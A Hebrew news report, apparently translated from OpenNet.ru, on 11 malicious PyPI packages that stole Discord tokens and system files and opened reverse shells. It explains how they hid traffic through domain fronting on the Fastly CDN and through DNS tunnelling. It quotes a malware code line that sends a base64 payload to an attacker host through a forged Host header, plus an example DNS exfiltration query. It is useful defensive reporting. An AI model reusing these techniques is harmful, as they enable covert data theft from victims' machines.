ספריות זדוניות שזוהו בקטלוג PyPI המשתמשות ב- PyPI CDN כדי להסתיר את ערוץ התקשורת

בספריית PyPI (Python Package Index) זוהו 11 חבילות המכילות קוד זדוני. לפני שזוהו בעיות, החבילות הורדו כ-38 אלף פעמים בסך הכל. החבילות הזדוניות שזוהו בולטות בשימוש שלהן בשיטות מתוחכמות להסתרת ערוצי תקשורת עם שרתי התוקפים.

• importantpackage (6305 הורדות), important-package (12897) - יצר חיבור לשרת חיצוני במסווה של חיבור ל-pypi.python.org כדי לספק גישה של מעטפת למערכת (מעטפת הפוכה) והשתמש בתוכנת trevorc2 כדי להסתיר את ערוץ תקשורת.
• pptest (10001), ipboards (946) - השתמשו ב-DNS כערוץ תקשורת להעברת מידע על המערכת (בחבילה הראשונה שם המארח, ספריית העבודה, IP פנימי וחיצוני, בשני - שם המשתמש ושם המארח) .
• owlmoon (3285), DiscordSafety (557), yiffparty (1859) - זיהו את אסימון השירות של Discord במערכת ושלחו אותו למארח חיצוני.
• trrfab (287) - שלח את המזהה, שם המארח והתוכן של /etc/passwd, /etc/hosts, /home למארח החיצוני.
• 10Cent10 (490) - יצר חיבור מעטפת הפוך עם מארח חיצוני.
• yandex-yt (4183) - הציג הודעה על כך שהמערכת נפגעת והופנתה לדף עם מידע נוסף על פעולות נוספות שהונפקו דרך nda.ya.ru (api.ya.cc).

ראוי לציין במיוחד את שיטת הגישה למארחים חיצוניים המשמשים בחבילות importantpackage ו- important-package, שהשתמשו ברשת משלוח התוכן Fastly המשמשת בספריית PyPI כדי להסתיר את פעילותם. למעשה, בקשות נשלחו לשרת pypi.python.org (כולל ציון השם python.org ב-SNI בתוך בקשת ה-HTTPS), אך כותרת ה-HTTP "Host" כללה את שם השרת שנשלט על ידי התוקפים (סעיף. forward.io. global.prod.fastly.net). רשת אספקת התוכן שלחה בקשה דומה לשרת התוקף, תוך שימוש בפרמטרים של חיבור TLS ל-pypi.python.org בעת העברת נתונים.

תשתית PyPI מופעלת על ידי רשת אספקת התוכן Fastly, המשתמשת בפרוקסי השקוף של Varnish כדי לשמור בקשות טיפוסיות במטמון, ומשתמשת גם בעיבוד אישורי TLS ברמת CDN, ולא בשרתי הקצה, כדי להעביר בקשות HTTPS דרך פרוקסי. ללא קשר למארח היעד, בקשות נשלחות ל-proxy, שקובע את המארח הרצוי באמצעות כותרת ה-HTTP "Host", ושמות הדומיין המארח קשורים לכתובות ה-IP של מאזן העומס של CDN האופייניות לכל לקוחות Fastly.

שרת התוקפים נרשם גם ב-CDN Fastly, המספק תוכניות חינם לכולם ואף מאפשר רישום אנונימי. ראוי לציין שכדי לשלוח בקשות לקורבן בעת ​​יצירת "קליפה הפוכה", נעשה שימוש גם בתכנית, אך יזומה מהצד של המארח של התוקף. מבחוץ, האינטראקציה עם שרת התוקפים נראית כמו הפעלה לגיטימית עם ספריית PyPI, המוצפנת באמצעות אישור PyPI TLS. טכניקה דומה, הידועה בשם "חזית דומיין", שימשה בעבר באופן פעיל כדי להסתיר את שם המארח בעת עקיפת חסימה, תוך שימוש ביכולת המסופקת בחלק מרשתות CDN לגשת ל-HTTPS על ידי ציון מארח פיקטיבי ב-SNI ולמעשה שידור השם של ה-SNI המארח המבוקש בכותרת מארח HTTP בתוך הפעלת TLS.

כדי להסתיר פעילות זדונית, נעשה שימוש נוסף בחבילת TrevorC2 כדי ליצור אינטראקציה עם השרת בדומה לניווט רגיל באינטרנט, לדוגמה, בקשות זדוניות נשלחו במסווה של הורדת התמונה "https://pypi.python.org/images/ guid=" עם קידוד מידע בפרמטר guid. url = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})

החבילות pptest ו-ipboards השתמשו בגישה שונה להסתרת פעילות רשת, בהתבסס על קידוד מידע שימושי בשאילתות לשרת ה-DNS. התוכנה הזדונית משדרת מידע על ידי ביצוע בקשות DNS כמו "nu4timjagq4fimbuhe.example.com", שבהן הנתונים המועברים לשרת הבקרה מקודדים באמצעות פורמט base64 בשם תת-הדומיין. התוקף מקבל את ההודעות הללו על ידי שליטה בשרת ה-DNS עבור הדומיין example.com.

מקור: OpenNet.ru